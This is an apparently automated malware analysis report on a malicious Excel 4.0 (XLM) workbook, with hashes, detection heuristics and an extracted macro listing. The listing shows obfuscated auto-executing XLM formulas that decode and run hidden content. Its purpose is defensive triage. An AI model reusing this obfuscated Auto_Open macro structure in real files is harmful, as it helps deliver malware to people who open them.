Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6a3c8c14c2c53a4c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:17 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: d513fc95c00ea5063aac0513b809c0ef SHA-1: 63c2e65e093e774c2124db913638a3a16f9b63b6 SHA-256: 6a3c8c14c2c53a4cf817438ec489170f9135440962ba2d4191b32988fb49b8af
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6861 bytes
SHA-256: 7bf09abcdebf31cd3f729c8d42b7dda2ea840870a924c959cb6af576162b40e0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 40 identifiers look randomly generated (e.g. 'ExIFUIYFfCUx') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ySjrEmGrZu
' 0018     21 LABEL : Cell Value, String Constant - asJxuB len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B150 
' 0018     24 LABEL : Cell Value, String Constant - AWtlKCmZD len=0 
' 0018     21 LABEL : Cell Value, String Constant - EjeiIz len=0 
' 0018     27 LABEL : Cell Value, String Constant - ExIFUIYFfCUx len=0 
' 0018     23 LABEL : Cell Value, String Constant - fevxVQFD len=0 
' 0018     25 LABEL : Cell Value, String Constant - fgofCAaNSh len=0 
' 0018     21 LABEL : Cell Value, String Constant - gHlNCx len=0 
' 0018     27 LABEL : Cell Value, String Constant - HgSdtfAzHcgj len=0 
' 0018     24 LABEL : Cell Value, String Constant - ifPLkRFQA len=0 
' 0018     25 LABEL : Cell Value, String Constant - ITSVWeSyEq len=0 
' 0018     23 LABEL : Cell Value, String Constant - LlJrYPpF len=0 
' 0018     24 LABEL : Cell Value, String Constant - nGjyeFTHr len=0 
' 0018     21 LABEL : Cell Value, String Constant - NKGpOx len=0 
' 0018     21 LABEL : Cell Value, String Constant - ocWPMg len=0 
' 0018     22 LABEL : Cell Value, String Constant - pCoJJPP len=0 
' 0018     22 LABEL : Cell Value, String Constant - TknlYYQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - tnjLPi len=0 
' 0018     26 LABEL : Cell Value, String Constant - UzFnWShdiTq len=0 
' 0018     21 LABEL : Cell Value, String Constant - wHfhpK len=0 
' 0018     22 LABEL : Cell Value, String Constant - WmMqunv len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ySjrEmGrZu,B57,"SET.NAME("TknlYYQ",0+VALUE("0"))",""
'  ySjrEmGrZu,B61,"SET.NAME("fgofCAaNSh",TknlYYQ)",""
'  ySjrEmGrZu,T65,"",433.00000000000000000000
'  ySjrEmGrZu,B66,"SET.NAME("UzFnWShdiTq",TknlYYQ)",""
'  ySjrEmGrZu,T66,"",381.00000000000000000000
'  ySjrEmGrZu,T67,"",-955.00000000000000000000
'  ySjrEmGrZu,T68,"",520.00000000000000000000
'  ySjrEmGrZu,T69,"",666.00000000000000000000
'  ySjrEmGrZu,T70,"",791.00000000000000000000
'  ySjrEmGrZu,B71,"SET.NAME("asJxuB",COUNTA(AWtlKCmZD))",""
'  ySjrEmGrZu,B76,"SET.NAME("tnjLPi",COUNTA(gHlNCx))",""
'  ySjrEmGrZu,B78,[],""
'  ySjrEmGrZu,B83,"SET.NAME("wHfhpK","")",""
'  ySjrEmGrZu,B88,"fgofCAaNSh",""
'  ySjrEmGrZu,B91,"SET.NAME("EjeiIz",HLOOKUP("*",AWtlKCmZD,fgofCAaNSh,FALSE))",""
'  ySjrEmGrZu,B94,"WmMqunv",""
'  ySjrEmGrZu,B97,"SET.NAME("pCoJJPP",TknlYYQ)",""
'  ySjrEmGrZu,B101,[],""
'  ySjrEmGrZu,B106,"pCoJJPP",""
'  ySjrEmGrZu,B109,"LlJrYPpF",""
'  ySjrEmGrZu,B112,"fevxVQFD",""
'  ySjrEmGrZu,B114,"ExIFUIYFfCUx",""
'  ySjrEmGrZu,B116,"SET.NAME("NKGpOx",VALUE(HLOOKUP("*",gHlNCx,ExIFUIYFfCUx,FALSE)))",""
'  ySjrEmGrZu,B121,"ITSVWeSyEq",""
'  ySjrEmGrZu,B126,"wHfhpK",""
'  ySjrEmGrZu,B129,"UzFnWShdiTq",""
'  ySjrEmGrZu,B131,NEXT(),""
'  ySjrEmGrZu,B135,"ifPLkRFQA",""
'  ySjrEmGrZu,B138,[],""
'  ySjrEmGrZu,B140,"nGjyeFTHr",""
'  ySjrEmGrZu,B142,NEXT(),""
'  ySjrEmGrZu,B146,RETURN(),""
'  ySjrEmGrZu,B174,"SET.NAME("ocWPMg",B57)",""
'  ySjrEmGrZu,B177,"AWtlKCmZD",""
'  ySjrEmGrZu,B180,"SET.NAME("gHlNCx",R67C14)",""
'  ySjrEmGrZu,B182,"SET.NAME("nGjyeFTHr",190)",""
'  ySjrEmGrZu,B184,"SET.NAME("HgSdtfAzHcgj",2)",""
'  ySjrEmGrZu,B189,ocWPMg(),""
'  ySjrEmGrZu,B190,HALT(),""

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